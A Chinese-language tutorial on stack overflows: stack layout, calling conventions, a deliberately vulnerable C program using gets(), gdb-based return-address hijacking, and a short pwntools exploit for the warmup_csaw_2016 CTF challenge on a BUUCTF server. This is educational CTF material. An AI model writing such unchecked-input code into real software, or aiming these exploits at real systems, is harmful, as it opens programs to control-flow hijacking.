预备知识

缓冲区溢出

之前我们讲过一些缓冲区溢出的内容。简单的说,缓冲区溢出就是超长的数据向小缓冲区复制,导致数据超出了小缓冲区,导致缓冲区其他的数据遭到破坏,这就是缓冲区溢出。而栈溢出是缓冲区溢出的一种,也是最常见的。只不过栈溢出发生在栈,堆溢出发生在堆,其实都是一样的。

无论什么计算机架构,进程使用的内存都可以按照功能大致分为4个部分:

  (1)代码区:这个区域存储着被装入的执行的二进制代码,处理器会到这个区域取指并执行。

  (2)数据区:用于存储局部变量。

  (3)堆区:进程可以在堆区中动态的请求一定大小的内存,并在用完之后归还个堆区。动态分配和回收是堆区的特点。

  (4)栈区:用于动态的存储函数之间的调用关系。以保证被调用函数在返回时恢复到母函数中继续执行。

栈,即堆栈,是一种具有一定规则的数据结构,它按照先进后出的原则存储数据,先进入的数据被压入栈底,最后的数据在栈顶。

堆栈数据结构的两种基本操作:

  • PUSH:将数据压入栈顶。
  • POP :将栈顶数据弹出。

栈顶:常用寄存器ESP,ESP是栈指针寄存器,其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。

栈底:常用寄存器EBP,EBP是基址指针寄存器,其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。

系统栈:指的是内存中的栈,由系统自动维护,它用于实现高级语言中的函数调用。

函数调用栈

背景知识

栈增长方向:高地址->低地址

ESP:栈指针寄存器,指向栈顶的低地址

EBP:基址指针寄存器,指向栈底的高地址

EIP:指令指针,存储即将执行的程序指令的地址

函数调用约定:

调用方式 cdecl stdcall fastcall
参数传递 从右到左压栈 从右到左压栈 左边两个参数分别放在ECX和EDX寄存器,其余的参数从右到左压栈
栈清理 调用者 函数自身 函数自身

函数调用开始

在调用一个函数时,系统会为这个函数分配一个栈帧,栈帧空间为该函数所独有。

调用者调用一个函数的过程大致如下:

  • 函数参数从右到左入栈
  • 返回地址入栈
  • 上一函数ebp入栈

在上一函数ebp入栈后,就开辟了被调函数的新栈帧,接下来便是被调函数临时变量入栈等操作,如果被调函数里有继续调用新函数的操作,将继续开始上述的一系列操作,不断循环嵌套下去。下图表示函数调用过程中栈的布局情况。

img

函数调用结束

函数调用结束时的变化,主要就是按相反的顺序将数据弹出栈:

  • 弹出临时变量
  • 弹出调用函数的ebp值,存到ebp寄存器中
  • 弹出返回地址,存到eip寄存器中

返回地址即是用call指令调用函数时下一条指令的地址,存到eip中,程序就知道在调用完后继续执行下一条指令。

我们会有一个疑惑,调用函数时将函数参数从右到左入栈,调用结束时怎么没有将它们弹出?

在这里,系统并不是用POP指令将它们弹出,而是通常通过ADD ESP让它们从栈中“消失”(降低栈顶,回收当前栈帧)。

栈溢出原理

栈溢出是指向向栈中写入了超出限定长度的数据,溢出的数据会覆盖栈中其它数据,从而影响程序的运行。

如果我们计算好溢出的长度,编写好溢出数据,让我们想要的地址数据正好覆盖到函数返回地址,那么被调函数调用完返回主函数时,就会跳转到我们覆盖的地址上。通过这样改变程序流程,接下来我们就可以做一些事情了。

例子如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<stdio.h>

int fun1()
{
int a;
gets((char *)&a);
return 0;
}

int fun2()
{
printf("stackflow success!\n");
return 0;
}

int main(int argc, char *argv[])
{
fun1();

return 0;

}

之前讲过gets等一些函数,它不进行边界检查,是危险函数。在gets((char *)&a); 中,a为int类型是占4字节空间。当输入字符大于4字节,就会溢出。我们需要让溢出数据覆盖fun1函数的返回地址,覆盖的数据为fun2函数的地址,使执行fun2函数的程序。

编译程序:

1
gcc -z execstack -fno-stack-protector -no-pie -o stackflow ./stackflow.c

(其中-z execstack开启堆栈可执行机制,-fno-stack-protector关闭堆栈保护机制,-no-pie关闭地址随机化)

用gdb进行调试:

image-20200903102327938

flie <filename>为载入可执行目标文件,b <fun>为在该函数下断点,run是开始运行程序。

之后使用next、step指令快速调试到gets()函数,输入AAA后使用next、step指令进行到该处:

image-20200903110027323

在执行完gets()函数并输入AAA后,程序的栈分布情况如下所示,0x7fffffffddd0即是上一函数(调用者main函数)的ebp, 0x400590 是fun1函数的返回地址。

我们通过输入指令可以看到0x00414141为输入的值‘AAA’,其后面就是上一个函数的ebp与返回地址。

(x /16xw addr :x表示打印内存的值,/16表示从addr开始输出单元的个数,x是以16进制形式输出,w标明一个单元的长度为4字节)

如果输入AAAAA后,溢出的数据就会存在0x7fffffffddb0开始的栈上。

所以,我们只需要输入AAAA+AAAAAAAA(覆盖上一函数ebp)+fun2地址(覆盖返回地址),就可以达到我们的目标。

所以我们需要找到fun2函数的起始地址,来完成我们对程序流程的劫持,如下:

image-20200903110124216

(disass <fun>为反编译函数)

可以看到fun2函数地址为0x400557。

最后完成栈溢出,改变程序执行流程(注意地址的小端字节序)

image-20200903110304791

gets(),strcpy,strcat,sprintf等危险函数都会发生缓冲区溢出

栈溢出例题

以buuctf上的warmup_csaw_2016为例。

没有什么保护措施:

image-20200903111837781

拖进ida查看:

image-20200903111744922

而且直接把函数地址给了:

image-20200903111926869

可以看出,gets绝对有问题,v5的长度为0x40,同时加上上一函数的ebp为8个字节,所以要溢出总长度为0x48,在运行程序时可以看到sub_40060D的地址就为0x40060D(没有地址随机化措施)。

编写脚本:

1
2
3
4
5
6
from pwn import *

sh = remote("node3.buuoj.cn",25974)
payload = 'a' * 0x48 + p64(0x40060D)
sh.sendline(payload)
sh.interactive()

image-20200903112917273